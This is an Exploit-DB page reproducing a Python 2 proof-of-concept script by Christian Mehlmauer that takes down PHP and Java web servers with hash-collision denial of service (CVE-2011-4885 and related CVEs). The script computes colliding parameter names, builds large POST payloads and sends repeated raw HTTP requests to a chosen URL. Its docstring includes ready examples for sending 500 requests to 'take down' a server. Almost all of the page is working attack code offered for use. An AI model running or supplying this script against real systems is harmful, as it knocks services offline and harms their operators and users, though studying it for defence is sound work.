PHP Hash Table Collision – Denial of Service (PoC)

  • 作者: Christian Mehlmauer
    日期: 2012-01-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18305/
  • #!/usr/bin/env python
    
    """
    This script was written by Christian Mehlmauer <FireFart@gmail.com>
    https://twitter.com/#!/_FireFart_
    
    Sourcecode online at:
    https://github.com/FireFart/HashCollision-DOS-POC
    
    Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
    
    http://www.ocert.org/advisories/ocert-2011-003.html
    CVE:
    Apache Geronimo: CVE-2011-5034
    Oracle Glassfish: CVE-2011-5035
    PHP: CVE-2011-4885
    Apache Tomcat: CVE-2011-4858
    
    requires Python 2.7
    
    Examples:
    -) Make a single Request, wait for the response and save the response to output0.html
    python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP
    
    -) Take down a PHP server(make 500 requests without waiting for a response):
    python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP
    
    -) Take down a JAVA server(make 500 requests without waiting for a response, maximum POST data size 2MB):
    python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2
    
    Changelog:
    v6.0: Added Javapayloadgenerator
    v5.0: Define max payload size as parameter
    v4.0: Get PHP Collision Chars on the fly
    v3.0: Load Payload from file
    v2.0: Added Support for https, switched to HTTP 1.1
    v1.0: Initial Release
    """
    
    import socket
    import sys
    import math
    import urllib
    import string
    import time
    import urlparse
    import argparse
    import ssl
    import random
    import itertools
    
    class Payloadgenerator:
    # Maximum recursions when searching for collisionchars
    _recursivemax = 15
    _recursivecounter = 1
    
    def __init__(self, verbose, collisionchars = 5, collisioncharlength = 2, payloadlength = 8):
    self._verbose = verbose
    self._collisionchars = collisionchars
    self._collisioncharlength = collisioncharlength
    self._payloadlength = payloadlength
    
    def generateASPPayload(self):
    raise Exception("ASP Payload not implemented")
    
    def generateJAVAPayload(self):
    a = self._computeJAVACollisionChars(self._collisionchars)
    return self._generatePayload(a, self._payloadlength)
    
    def generatePHPPayload(self):
    # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
    # compute entries with collisions in PHP hashtable hash function
    a = self._computePHPCollisionChars(self._collisionchars)
    return self._generatePayload(a, self._payloadlength);
    
    def _computePHPCollisionChars(self, count):
    charrange = range(0, 256)
    return self._computeCollisionChars(self._DJBX33A, count, charrange)
    
    def _computeJAVACollisionChars(self, count):
    charrange = range(0, 129)
    return self._computeCollisionChars(self._DJBX31A, count, charrange)
    
    def _computeCollisionChars(self, function, count, charrange):
    hashes = {}
    counter = 0
    length = self._collisioncharlength
    a = ""
    for i in charrange:
    a = a+chr(i)
    source = list(itertools.product(a, repeat=length))
    basestr = ''.join(random.choice(source))
    basehash = function(basestr)
    hashes[str(counter)] = basestr
    counter = counter + 1
    for item in source:
    tempstr = ''.join(item)
    if tempstr == basestr:
    continue
    if function(tempstr) == basehash:
    hashes[str(counter)] = tempstr
    counter = counter + 1
    if counter >= count:
    break;
    if counter < count:
    # Try it again
    if self._recursivecounter > self._recursivemax:
    print("Not enought values found. Please start this script again")
    sys.exit(1)
    print("%d: Not enough values found. Trying it again..." % self._recursivecounter)
    self._recursivecounter = self._recursivecounter + 1
    hashes = self._computeCollisionChars(function, count, charrange)
    else:
    if self._verbose:
    print("Found values:")
    for item in hashes:
    tempstr = hashes[item]
    print("\tValue: %s\tHash: %s" % (tempstr, function(tempstr)))
    for i in tempstr:
    print("\t\tValue: %s\tCharcode: %d" % (i, ord(i)))
    return hashes
    
    def _DJBXA(self, inputstring, base, start):
    counter = len(inputstring) - 1
    result = start
    for item in inputstring:
    result = result + (math.pow(base, counter) * ord(item))
    counter = counter - 1
    return int(round(result))
    
    #PHP
    def _DJBX33A(self, inputstring):
    return self._DJBXA(inputstring, 33, 5381)
    
    #Java
    def _DJBX31A(self, inputstring):
    return self._DJBXA(inputstring, 31, 0)
    
    #ASP
    def _DJBX33X(self, inputstring):
    counter = len(inputstring) - 1
    result = 5381
    for item in inputstring:
    result = result + (int(round(math.pow(33, counter))) ^ ord(item))
    counter = counter - 1
    return int(round(result))
    
    def _generatePayload(self, collisionchars, payloadlength):
    # Taken from:
    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
    
    # how long should the payload be
    length = payloadlength
    size = len(collisionchars)
    post = ""
    maxvaluefloat = math.pow(size,length)
    maxvalueint = int(math.floor(maxvaluefloat))
    for i in range (maxvalueint):
    inputstring = self._base_convert(i, size)
    result = inputstring.rjust(length, "0")
    for item in collisionchars:
    result = result.replace(str(item), collisionchars[item])
    post += urllib.urlencode({result:""}) + "&"
    
    return post;
    
    def _base_convert(self, num, base):
    fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    alphabet = fullalphabet[:base]
    if (num == 0):
    return alphabet[0]
    arr = []
    base = len(alphabet)
    while num:
    rem = num % base
    num = num // base
    arr.append(alphabet[rem])
    arr.reverse()
    return "".join(arr)
    
    def main():
    parser = argparse.ArgumentParser(description="Take down a remote Host via Hashcollisions", prog="Universal Hashcollision Exploit")
    parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
    parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
    parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
    parser.add_argument("-s", "--save", dest="save", help="Save payload to file")
    parser.add_argument("-p", "--payload", dest="payload", help="Save payload to file")
    parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
    parser.add_argument("-t", "--target", dest="target", help="Target of the attack", choices=["ASP", "PHP", "JAVA"], required=True)
    parser.add_argument("-m", "--max-payload-size", dest="maxpayloadsize", help="Maximum size of the Payload in Megabyte. PHPs defaultconfiguration does not allow more than 8MB, Tomcat is 2MB", type=int)
    parser.add_argument("-g", "--generate", dest="generate", help="Only generate Payload and exit", default=False, action="store_true")
    parser.add_argument("--version", action="version", version="%(prog)s 6.0")
    
    options = parser.parse_args()
    
    if options.target == "PHP":
    if not options.maxpayloadsize or options.maxpayloadsize == 0:
    maxpayloadsize = 8
    else:
    maxpayloadsize = options.maxpayloadsize
    elif options.target == "ASP":
    if not options.maxpayloadsize or options.maxpayloadsize == 0:
    maxpayloadsize = 8
    else:
    maxpayloadsize = options.maxpayloadsize
    elif options.target == "JAVA":
    if not options.maxpayloadsize or options.maxpayloadsize == 0:
    maxpayloadsize = 2
    else:
    maxpayloadsize = options.maxpayloadsize
    else:
    print("Target %s not yet implemented" % options.target)
    sys.exit(1)
    
    url = urlparse.urlparse(options.url)
    
    if not url.scheme:
    print("Please provide a scheme to the URL(http://, https://,..")
    sys.exit(1)
    
    host = url.hostname
    path = url.path
    port = url.port
    if not port:
    if url.scheme == "https":
    port = 443
    elif url.scheme == "http":
    port = 80
    else:
    print("Unsupported Protocol %s" % url.scheme)
    sys.exit(1)
    if not path:
    path = "/"
    
    if not options.payload:
    print("Generating Payload...")
    
    # Number of colliding chars to find
    collisionchars = 5
    # Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)
    collisioncharlength = 2
    # Length of each parameter in the payload
    payloadlength = 8
    generator = Payloadgenerator(options.verbose, collisionchars, collisioncharlength, payloadlength)
    if options.target == "PHP":
    payload = generator.generatePHPPayload()
    elif options.target == "ASP":
    #payload = generateASPPayload()
    print("Target %s not yet implemented" % options.target)
    sys.exit(1)
    elif options.target == "JAVA":
    payload = generator.generateJAVAPayload()
    else:
    print("Target %s not yet implemented" % options.target)
    sys.exit(1)
    
    print("Payload generated")
    else:
    f = open(options.payload, "r")
    payload = f.read()
    f.close()
    print("Loaded Payload from %s" % options.payload)
    
    # trim to maximum payload size (in MB)
    maxinmb = maxpayloadsize*1024*1024
    payload = payload[:maxinmb]
    # remove last invalid(cut off) parameter
    position = payload.rfind("=&")
    payload = payload[:position+1]
    
    # Save payload
    if options.save:
    f = open(options.save, "w")
    f.write(payload)
    f.close()
    print("Payload saved to %s" % options.save)
    
    # User selected to only generate the payload
    if options.generate:
    return
    
    print("Host: %s" % host)
    print("Port: %s" % str(port))
    print("path: %s" % path)
    print
    print
    
    for i in range(options.count):
    print("sending Request #%s..." % str(i+1))
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    if url.scheme == "https":
    ssl_sock = ssl.wrap_socket(sock)
    ssl_sock.connect((host, port))
    ssl_sock.settimeout(None)
    else:
    sock.connect((host, port))
    sock.settimeout(None)
    
    request = "POST %s HTTP/1.1\r\n\
    Host: %s\r\n\
    Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\
    Connection: Close\r\n\
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n\
    Content-Length: %s\r\n\
    \r\n\
    %s\r\n\
    \r\n" % (path, host, str(len(payload)), payload)
    
    if url.scheme == "https":
    ssl_sock.send(request)
    else:
    sock.send(request)
    
    if options.verbose:
    if len(request) > 400:
    print(request[:400]+"....")
    else:
    print(request)
    print("")
    if options.wait or options.output:
    start = time.time()
    if url.scheme == "https":
    data = ssl_sock.recv(1024)
    string = ""
    while len(data):
    string = string + data
    data = ssl_sock.recv(1024)
    else:
    data = sock.recv(1024)
    string = ""
    while len(data):
    string = string + data
    data = sock.recv(1024)
    
    elapsed = (time.time() - start)
    print("Request %s finished" % str(i+1))
    print("Request %s duration: %s" % (str(i+1), elapsed))
    split = string.partition("\r\n\r\n")
    header = split[0]
    content = split[2]
    if options.verbose:
    # only print http header
    print("")
    print(header)
    print("")
    if options.output:
    f = open(options.output+str(i)+".html", "w")
    f.write("<!-- "+header+" -->\r\n"+content)
    f.close()
    
    if url.scheme == "https":
    ssl_sock.close()
    sock.close()
    else:
    sock.close()
    
    if __name__ == "__main__":
    main()